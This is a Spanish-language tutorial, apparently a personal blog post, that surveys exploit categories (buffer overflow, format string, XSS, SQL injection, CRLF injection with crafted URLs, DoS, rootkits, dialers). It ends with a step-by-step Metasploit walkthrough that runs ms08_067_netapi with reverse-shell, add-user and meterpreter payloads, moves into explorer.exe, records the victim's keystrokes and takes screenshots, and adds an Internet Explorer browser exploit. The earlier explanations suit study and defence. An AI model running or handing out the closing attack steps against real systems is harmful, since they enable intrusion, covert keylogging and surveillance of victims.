Exploit (del inglés to exploit, explotar, aprovechar) es el nombre con el que se identifica un programa informático malicioso, o parte del programa, que trata de forzar alguna deficiencia o vulnerabilidad de otro programa.
El fin puede ser la destrucción o inhabilitación del sistema atacado, aunque normalmente se trata de violar las medidas de seguridad para poder acceder al mismo de forma no autorizada y emplearlo en beneficio propio o como origen de otros ataques a terceros.
Los xploits se pueden caracterizar según las categorías de vulnerabilidades utilizadas:
1- Vulnerabilidades de desbordamiento de buffer
2- Vulnerabilidades de condición de carrera
3- Vulnerabilidades de error de formato de cadena
4- Vulnerabilidades de Cross Site Scripting XSS
5- Vulnerabilidades de Inyección SQL
6- Vulnerabilidades de Inyección de Caracteres CRLF
7- Vulnerabilidades de denegación del servicio
8- Vulnerabilidades Inyección múltiple HTML Multiple HTML Injection
9- Vulnerabilidades de ventanas engañosas o mistificación de ventanasWindow Spoofing
1- Vulnerabilidad Desbordamiento de buffer
En seguridad informática y programación, un desbordamiento de buffer (del inglés buffer overflow o buffer overrun) es un error de software que se produce cuando un programa no controla adecuadamente la cantidad de datos que se copian sobre un área de memoria reservada a tal efecto (buffer), de forma que si dicha cantidad es superior a la capacidad preasignada los bytes sobrantes se almacenan en zonas de memoria adyacentes, sobrescribiendo su contenido original. Esto constituye un fallo de programación.
2- Vulnerabilidades de condición de carrera
Condición de carrera es una expresión usada en electrónica y en programación. Procede del inglés race condition (si bien sería mejor hablar de estado de carrera, igual que se habla de estado de espera). Múltiples procesos están en condición de carrera si el resultado de los mismos depende del orden en que se ejecute. Si los procesos que están en condición de carrera no son correctamente sincronizados, puede producirse un error de corrupción de datos, lo que puede ser aprovechado por exploits locales para vulnerar los sistemas. Análogamente, en circuitos electrónicos se da una Condición de carrera cuando la salida de un sistema o subsistema depende del orden en que se hayan activado o desactivado sus componentes.
La Condición de carrera se da principalmente cuando varios procesos acceden al mismo tiempo a un recurso compartido, por ejemplo una variable, cambiando su estado y obteniendo de esta forma un valor no esperado de la misma.
3- Vulnerabilidades de error de formato de cadena
El error de la cadena de formato se produce cuando un programador quiere mostrar una cadena mediante unas de las funciones que admiten que admiten opciones de formato, como son printf() o syslog, pero un mal uso de estas funciones puede hacer que un atacante pueda conseguir acceso como root. La forma correcta de utilizar estas funciones sería la siguiente:
printf("%s", cadena);
Pero sin embargo, para ahorrarse tiempo y seis caracteres, muchos programadores escriben sin especificar el primer argumento:
printf(cadena);
Esto produce que la función espere una opción, entre las que se le puede añadir %n que escribe el núemro de bytes mostrados, con lo que un atacante podría formar con mucha habilidad una cadena con formato que incluyera datos aleatorios, y muy posiblemente el código que quiera ejecutar. Dicha opción, permite que se sobrescriba la memoria de forma arbitraria, y podría verse afectado el puntero de retorno, provocando la ejecución de código del atacante.
4- Vulnerabilidades de Cross Site Scripting XSS
XSS, del inglés Cross-site scripting es un tipo de inseguridad informática o agujero de seguridad típico de las aplicaciones Web, que permite a una tercera parte inyectar en páginas web vistas por el usuario código JavaScript o en otro lenguaje script similar (ej: VBScript), evitando medidas de control como la Política del mismo origen. Este tipo de vulnerabilidad se conoce en español con el nombre de Secuencias de comandos en sitios cruzados.1
Es posible encontrar una vulnerabilidad XSS en aplicaciones que tenga entre sus funciones presentar la información en un navegador web u otro contenedor de páginas web. Sin embargo, no se limita a sitios web disponibles en Internet, ya que puede haber aplicaciones locales vulnerables a XSS, o incluso el navegador en sí.
XSS es un vector de ataque que puede ser utilizado para robar información delicada, secuestrar sesiones de usuario, y comprometer el navegador, subyugando la integridad del sistema. Las vulnerabilidades XSS han existido desde los primeros días de la Web.2
Esta situación es usualmente causada al no validar correctamente los datos de entrada que son usados en cierta aplicación, o no sanear la salida adecuadamente para su presentación como página web.
Esta vulnerabilidad puede estar presente de las siguientes formas:
5- Vulnerabilidades de Inyección SQL
Inyección SQL es un método de infiltración de código intruso que se vale de una vulnerabilidad informática presente en una aplicación en el nivel de validación de las entradas para realizar consultas a una base de datos.
El origen de la vulnerabilidad radica en el incorrecto chequeo y/o filtrado de las variables utilizadas en un programa que contiene, o bien genera, código SQL. Es, de hecho, un error de una clase más general de vulnerabilidades que puede ocurrir en cualquier lenguaje de programación o script que esté embebido dentro de otro.
Se conoce como Inyección SQL, indistintamente, al tipo de vulnerabilidad, al método de infiltración, al hecho de incrustar código SQL intruso y a la porción de código incrustado.
6- Vulnerabilidades de Inyección de Caracteres CRLF
Inyección CRLF (CRLF Injection / HTTP Response Splitting)(Ataques Informáticos IV)
Publicado el Sábado, 03 Noviembre 2012 10:15
Las vulnerabilidades web están de moda, y una de ellas es la inyección CRLF (CRLF Injection). Esta vulnerabilidad ocurre cuando un atacante es capaz de inyectar datos en una petición a un servidor, debido a la falta de filtrado de datos de entrada por parte del mismo. En este caso, la web afectada permite pasar directamente valores a los campos de respuesta (Location, Set-Cookie..) sin sanearlos lo que a su vez nos permite diversos tipos de ataque como XSS, Cache-Poisoning, Cache-based defacement,page injection..
Las siglas CRLF vienen de CR (Carriage return o retorno de carro) y de LF (Line Feed o salto de línea). Ambos son carácteres "invisibles" que indican el final de línea para importantes protocolos como HTTP, MIME o NNTP. En código ASCII el CR tiene valor 13 y el LF valor 10 y a veces se escriben de la manera siguiente "r\n\".
El ataque CRLF ocurre cuando un atacante consigue, modificando un parámetro HTTP o URL, inyectar el código correspondiente a CRLF al servidor como veremos después en un ejemplo, lo que le permite manipular muchos aspectos de la propia petición. A continuación podemos observar un ejemplo de petición HTTP por parte de nuestro navegador:
GET/HTTP/1.1[CRLF]
Host: www.ABC.com[CRLF]
Mozilla/5.0 (Windows NT 6.0; rv:17.0) Gecko/17.0 Firefox/17.0[CRLF]
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5[CRLF]
Accept-Encoding: gzip, deflate[CRLF]
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7[CRLF]
Connection: keep-alive[CRLF][CRLF]
como podemos ver, las diferentes cabeceras se separan con CRLF. La respuesta por parte del servidor a nuestro navegador sería
HTTP/1.1,200,OK[CRLF]
Date: Sat,3,Nov,2012 10:01:46 GMT[CRLF]
Server: Apache/1.3.33 (Win32)
PHP/5.0.2[CRLF]
X-Powered-By: PHP/5.0.2[CRLF]
Keep-Alive: timeout=15, max=100[CRLF]
Connection: Keep-Alive[CRLF]
Transfer-Encoding: chunked[CRLF]
Content-Type: text/html[CRLF][CRLF]
el problema de que un atacante pueda introducir nuevas cabeceras en estas peticiones añadiendo CRLF es que pasará de facto a controlar las funciones de la aplicación web. Vamos a ver un par de ejemplos, para introducir CRLF debemos tener en cuenta que la versión hexadecimal es %0d%0a (CR tiene también el valor D o 0D en hexadecimal y RL tiene el valor A o 0A en hexadecimal), por lo que por ejemplo, podríamos crear el siguiente link manipulado
http://www.abc.com/page.php?page=%0d%0aContent-Type: text/html%0d%0aHTTP/1.1 200 OK%0d%0aContent-Type: text/html%0d%0a%0d%0a%3Chtml%3EHacker%3C/html%3E
Enviando a la víctima a una web con el siguiente contenido:
<html>Hacker</html>
Aunque esto parezca muy sencillo, imaginad la página que podéis montar con esta técnica, además del echo que ha sido el servidor web legítimo quien ha generado el código, por lo que hemos inyectado código en el navegador de la víctima a través del servidor web. La misma técnica puede ser refinada y empleada para todos los tipos de ataques que hemos comentado anteriormente.
Un segundo ejemplo, en el que podéis ver directamente la petición web modificada directamente
GET/redir.php?url=%0d%0aContent-Type:%20text/html
%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:
%20text/html%0d%0a%0d%0a%3Ccenter%3E
%3Ch1%3EHacked%3C/h1%3E%3C/center%3E
HTTP/1.1[CRLF]
Host: www.abc.com[CRLF]
Mozilla/5.0 (Windows NT 6.0; rv:17.0) Gecko/17.0 Firefox/17.0[CRLF]
Accept:text/html,application/xhtml+xml,application/xml;q
=0.9,*/*;q=0.8[CRLF]
Accept-Language: en-us,en;q=0.5[CRLF]
Accept-Encoding: gzip, deflate[CRLF]
Accept-Charset: ISO-8859-1,utf-
8;q=0.7,*;q=0.7[CRLF]
Connection: keep-alive[CRLF][CRLF]
la respuesta del servidor en este caso sería
HTTP/1.1 302 Found[CRLF]
Date: Sat,3,Nov,2012 10:32:46 GMT[CRLF]
Server: Apache/1.3.33 (Win32) PHP/5.0.2[CRLF]
X-Powered-By: PHP/5.0.2[CRLF]
Location:[CRLF]
Content-Type: text/html[CRLF][CRLF]
HTTP/1.1 200 OK [CRLF] (nueva cabecera creada con la inyección CRLF)
Content-Type: text/html[CRLF][CRLF]
<center><h1>Hacker</h1></center>[CRLF]
Keep-Alive: timeout=15, max=100[CRLF]
Connection: Keep-Alive[CRLF]
Transfer-Encoding: chunked[CRLF]
Content-Type: text/html[CRLF][CRLF]
Con esto hemos visto como podemos crear nuevas cabeceras usando la inyección CRLF, pudiendo de esta manera modificar el contenido que genera el servidor web en nuestro navegador, en este caso mostraría una web simplemente con la palabra "Hacker" centrada. A partir de aquí la imaginación del atacante puede crear multitud de maneras de aprovecharse de esta vulnerabilidad, existiendo muchos ejemplos públicos.
Como protegernos de este tipo de ataques?
Como ya hemos comentado en otros tipos de ataques, el método más efectivo para evitar estos es aplicar filtros sobre cualquier dato que entre a nuestro servidor o a nuestra web, examinando y saneando las diferentes variables que puedan aprovecharse de CRLF. Para ayudarnos en la tarea de localizar puntos vulnerables en nuestra web siempre podemos utilizar scanners de vulnerabilidades automatizados que suelen encontrar este tipo de vulnerabilidades.
7- Vulnerabilidades de denegación del servicio
Un "ataque por denegación de servicio" (DoS, Denial of service) tiene como objetivo imposibilitar el acceso a los servicios y recursos de una organización durante un período indefinido de tiempo. Por lo general, este tipo de ataques está dirigido a los servidores de una compañía, para que no puedan utilizarse ni consultarse.
La denegación de servicio es una complicación que puede afectar a cualquier servidor de la compañía o individuo conectado a Internet. Su objetivo no reside en recuperar ni alterar datos, sino en dañar la reputación de las compañías con presencia en Internet y potencialmente impedir el desarrollo normal de sus actividades en caso de que éstas se basen en un sistema informático.
En términos técnicos, estos ataques no son muy complicados, pero no por ello dejan de ser eficaces contra cualquier tipo de equipo que cuente con Windows (95, 98, NT, 2000, XP, etc.), Linux (Debian, Mandrake, RedHat, Suse, etc.), Commercial Unix (HP-UX, AIX, IRIX, Solaris, etc.) o cualquier otro sistema operativo. La mayoría de los ataques de denegación de servicio aprovechan las vulnerabilidades relacionadas con la implementación de un protocolo TCP/IP modelo.
Generalmente, estos ataques se dividen en dos clases:
Los ataques por denegación de servicio envían paquetes IP o datos de tamaños o formatos atípicos que saturan los equipos de destino o los vuelven inestables y, por lo tanto, impiden el funcionamiento normal de los servicios de red que brindan.
Cuando varios equipos activan una denegación de servicio, el proceso se conoce como "sistema distribuido de denegación de servicio" (DDOS, Distributed Denial of Service). Los más conocidos son Tribal Flood Network (TFN) y Trinoo.
Cómo protegerse contra una denegación de servicio
Para protegerse contra este tipo de ataques, es importante mantenerse informado de los nuevos ataques y las vulnerabilidades, además de descargar las revisiones (patches) de Internet diseñadas por editores de software y algunos grupos especializados:
8- Vulnerabilidades Inyección múltiple HTML Multiple HTML Injection
cPanel tiene múltiples vulnerabilidades propensas en la inyección de HTML porque no puede esterilizar correctamente la entrada "user-supplied". Los ataques acertados pueden permitir que el código del atacante se ejecute en el contexto del sitio afectado, lo que puede permitir que el atacante robe las credenciales de la autentificación y controle el sistema del usuario. Cabe la posibilidad de otros ataques a través de este fallo.
cPanel 11 beta es principalmente vulnerable, aunque otras versiones pueden también ser afectadas.
9- Vulnerabilidades de ventanas engañosas o mistificación de ventanasWindow Spoofing
Los Dialers
Son programas que se instalan en el ordenador y que, llaman a números de tarifación adicional sin que el usuario lo sepa. Se suelen instalar mediante un fichero ejecutable (.exe) o mediante la descarga de un control ActiveX.
Efectos: Aumento del importe a pagar en la factura telefónica.
Antídoto: Se recomienda utilizar programas antimarcadores (antidialers) y adicionalmente solicite a su operador de telefonía la desconexión de números de tarifarios adicional (800, 803, 804, etc).
Afecta a: Los usuarios afectados son los que se conectan a Internet a través de una Red Telefónica Básica (RTB) o Red Digital de Servicios Integrados (RDSI). A los usuarios de ADSL, no les aumentará la factura a pagar, pero puede hacer que su ordenador vaya más lento.
Síntomas de un marcador ilegal
¿Cómo poder darnos cuenta si tenemos un ‘dialer’ instalado en nuestra computadora?. Lo primero es escuchar los ruidos de su módem. Al momento de conectarnos, siempre oímos el tono de marcación. Vigile que su equipo no se desconecte y posteriormente desee marcar, pero a un número diferente. Examine si no existe un nuevo icono de “acceso telefónico a redes”. De ser así, revise el número que tiene programado y verifique que su número de acceso a internet no haya sido modificado.
Sobre las llamadas por Internet
Ahora que la mayoría de usuarios tienen una conexión ADSL, estos Dialers ya no tienen mucha peligrosidad, ya que la conexión por ADSL es directa a través de un concentrador o router, es decir sin necesidad de utilizar el teléfono. Es así que la telefonía por PC se ha vuelto, en los últimos tiempos, una forma económica, segura y nítida de comunicarnos.
Los Hoaxs (broma o engaño)
Son mensajes con falsas alarmas de virus, o de cualquier otro tipo de alerta o de cadena (incluso solidaria o que involucra a nuestra propia salud), o de algún tipo de denuncia, distribuida por correo electrónico cuyo común denominador es pedirle que los distribuya "a la mayor cantidad de personas posibles". Su único objetivo es engañar y/o molestar.
Actualmente muchos mensajes hoax de falsas alertas y que piden que se reenvíen, en poco tiempo se convierten en spam ya que recolectan muchas direcciones de correo.
Rootkit
Es un conjunto de herramientas usadas frecuentemente por los intrusos informáticos o crackers con el objetivo de acceder ilícitamente a un sistema informático
Hay rootkits para una amplia variedad de sistemas operativos, como Linux, Solaris o Microsoft Windows. Por ejemplo, el rootkit puede esconder una aplicación que lance una consola cada vez que el atacante se conecte al sistema a través de un determinado puerto.
Los rootkits del kernel o núcleo pueden contener funcionalidades similares.
Un backdoor puede permitir también que los procesos lanzados por un usuario sin privilegios de administrador ejecuten algunas funcionalidades reservadas únicamente al superusuario. Todo tipo de herramientas útiles para obtener información de forma ilícita pueden ser ocultadas mediante rootkits
¿Cuales son sus objetivos?
Tratan de encubrir a otros procesos que están llevando a cabo acciones maliciosas en el sistema. Por ejemplo, si en el sistema hay una puerta trasera para llevar a cabo tareas de espionaje, el rootkit ocultará los puertos abiertos que delaten la comunicación; o si hay un sistema para enviar spam, ocultará la actividad del sistema de correo.
Los rootkits, al estar diseñados para pasar desapercibidos, no pueden ser detectados. Si un usuario intenta analizar el sistema para ver qué procesos están ejecutándose, el rootkit mostrará información falsa, mostrando todos los procesos excepto él mismo y los que está ocultando.
O si se intenta ver un listado de los ficheros de un sistema, el rootkit hará que se muestre esa información pero ocultando la existencia del propio fichero del rootkit y de los procesos que esconde.
Cuando el antivirus hagan una llamada al sistema operativo para comprobar qué ficheros hay, o cuando intente averiguar qué procesos están en ejecución, el rootkit falseará los datos y el antivirus no podrá recibir la información correcta para llevar a cabo la desinfección del sistema.
¿Cómo prevenirnos?
Es necesario un sistema que vigile no únicamente la actividad de los archivos en el disco, sino que vaya más allá. En lugar de analizar los archivos byte a byte, debe vigilarse lo que hacen al ejecutarse.
Un rootkit necesita llevar a cabo algunas tareas que se podrían considerar “típicas”, como adquirir derechos de root, modificar llamadas básicas al sistema operativo, falsear sistemas de reporte de datos del sistema… Todas estas tareas, una a una, entrañan poco peligro. Pero todas ellas, juntas y en el mismo momento, llevadas a cabo por el mismo programa, proporcionan información clara de que algo extraño está pasando en la computadora. Si las soluciones antivirus fracasan definitivamente a la hora de detectar un rootkit, las nuevas tecnologías de detección de amenazas por comportamiento tienen su mejor prueba de eficacia en la detección y bloqueo de rootkits. Estas tecnologías no basan su funcionamiento en condicionantes previamente aprendidos sobre patrones cerrados de identificación de amenazas. Su éxito se basa en la investigación inteligente y automática de la situación de un proceso en una computadora.
Cuando una serie de acciones se llevan a cabo sobre el sistema y todas ellas (o, al menos, alguna) pueden suponer un riesgo para la integridad de la información o el correcto funcionamiento de la máquina, se evalúan una serie de factores que sirven para calificar la peligrosidad de esa tarea. Por ejemplo, que un proceso quiera tomar derechos de administración en un sistema puede ser más o menos habitual. Y tiene un cierto riesgo, sin duda, pero no hay que alertar por ello. Un simple instalador para un juego puede necesitar tener derechos de administrador para poder llevar a cabo las modificaciones necesarias y poder ejecutarse correctamente.
O por ejemplo, es posible que un determinado proceso deba permanecer oculto, ya que no existe posibilidad de interacción, o que un determinado proceso abra un puerto en concreto para comunicarse, o que registre pulsaciones de teclas. Pero todas esas características juntas hacen que el proceso se pueda considerar como una amenaza y sea necesario un análisis en profundidad para poder autorizar la ejecución de manera segura.
########################################################################
BAckTrack5R3
Aplications->Backtrack->Exploitation Tools-> Network Exploitation Tools->Metasploit Framework->msfconsole
Explotando vulnerabilidad microsoft-ds 445 anteriormente osea antes de NT 137-138-139
Una vez hecho el escaneo correspondiente a nuestro target "nmap -sS -O XX.XX.XX.XX"
Utilizaremos el siguiente Exploit "windows/smb/ms08_067_netapi", con sus respectivas inyeciones o programas en
lenguage ensamblador PAYLOAD "windows/Shell/reverse_tcp, Windows/adduser, Windows/vncinject/bind_tcp"
EXPLOIT
msf > show exploits
msf > use windows/smb/ms08_067_netapi
msf > show options
msf > set RHOST 192.168.0.14
msf > show options
PAYLOAD
msf > show payloads
1- msf > set PAYLOAD windows/Shell/reverse_tcp
2- msf > set PAYLOAD Windows/adduser
3- msf > set PAYLOAD Windows/vncinject/bind_tcp
EJECUCION
msf >exploit
OTRO espia
msf> use exploit/windows/smb/ms08_067_netapi
msf > set RHOST 192.168.0.14
msf> set PAYLOAD windows/meterpreter/reverse_tcp
msf> exploit
Si esta bn Conectado aparecera esto
Observamos que el proceso Explorer.exe tiene un PID (Process ID) de 1632,
entonces mudaremos nuestra herramienta a ese proceso:
meterpreter> ps
meterpreter> migrate 316
Activamos el keylogger:
keyscan_start
y queremos ver lo que esta escribiendo la victima:
keyscan_dump
si queremos una captura de pantalla; primero se carga el plugin:
use espia
luego usamos
screenshot [/imagen.bmp]
Antes debes analizar vulnerabilidades en objetivos con openvas o nmap o.....
Listado de URL
http://www.exploit-db.com
http://www.remote-exploit.org
Otro Exploit para atacar vulnerabilidad de Internet Explorer
msf > use exploit/windows/browser/ie_execcommand_uaf
msf > info
msf >set SRVHOST 192.168.0.14
exploit
sessions -l
sessions -i + <ID sessions>
Atentamente:
Franklin Campo